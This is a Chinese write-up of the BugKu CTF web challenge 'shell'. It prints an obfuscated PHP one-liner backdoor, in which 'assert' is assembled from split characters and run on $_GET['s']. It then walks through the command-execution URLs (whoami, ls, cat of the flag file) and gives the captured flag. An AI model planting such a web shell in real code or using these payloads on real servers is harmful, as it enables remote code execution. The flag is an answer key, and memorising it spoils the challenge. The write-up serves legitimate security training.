BUGKU-WEB shell

发布于:2024-03-18 ⋅ 阅读:(71) ⋅ 点赞:(0)

题目描述

题目截图如下:
在这里插入图片描述
描述:

 $poc = "a#s#s#e#r#t";
 $poc_1 = explode("#", $poc);
 $poc_2 = $poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
 $poc_2($_GET['s'])

进入场景看看:是一个空白的界面
在这里插入图片描述

解题思路

  • 代码审计

相关工具

解题步骤

  1. 审计提示中的代码
 $poc = "a#s#s#e#r#t"; # 定义了一个名为POC的变量
 $poc_1 = explode("#", $poc); # 使用了PHP中的ecplode函数,作用是按照指定的分割符#对变量字符串进行分割,分割后是一个数组
 $poc_2 = $poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; # 将分割后的数组内容进行拼接,显然是一个单词assert
 $poc_2($_GET['s'])# 将拼接后的字符串 $poc_2 作为函数名,也就是assert()函数
 # $_GET[] 表示使用的是get请求,传入一个名为s的参数,然后将这个参数值作为assert函数的内容
  1. 得到初步的POC:
http://114.67.175.224:17986/?s=

然后简单测试一下system函数进行输出:

http://114.67.175.224:17986/?s=system(%22whoami%22)

在这里插入图片描述
执行成功,然后就是找flag,怎么知道flag在哪里呢?当然是先遍历一下,也就是ls:

http://114.67.175.224:17986/?s=system(ls)

在这里插入图片描述
发现2个文件,其中一个直接显示flag的txt文件,那就是它了,如何显示这个文件的内容呢?直接访问就可以啦

http://114.67.175.224:17986/flaga15808abee46a1d5.txt

在这里插入图片描述
也可以直接使用cat命令访问:

http://114.67.175.224:17986/?s=system(%22cat%20flaga15808abee46a1d5.txt%22)

在这里插入图片描述

除此外,还可以使用
在这里插入图片描述

得到Flag

flag{dcad944287da8b741c17bcf4263149e8}

在这里插入图片描述

新知识点

参考链接

  1. php assert执行命令,php中代码执行&&命令执行函数
  2. Bugku-CTF-shell-过狗一句话

有用的话,请点赞收藏评论,帮助更多的同学哦

本文含有隐藏内容,请 开通VIP 后查看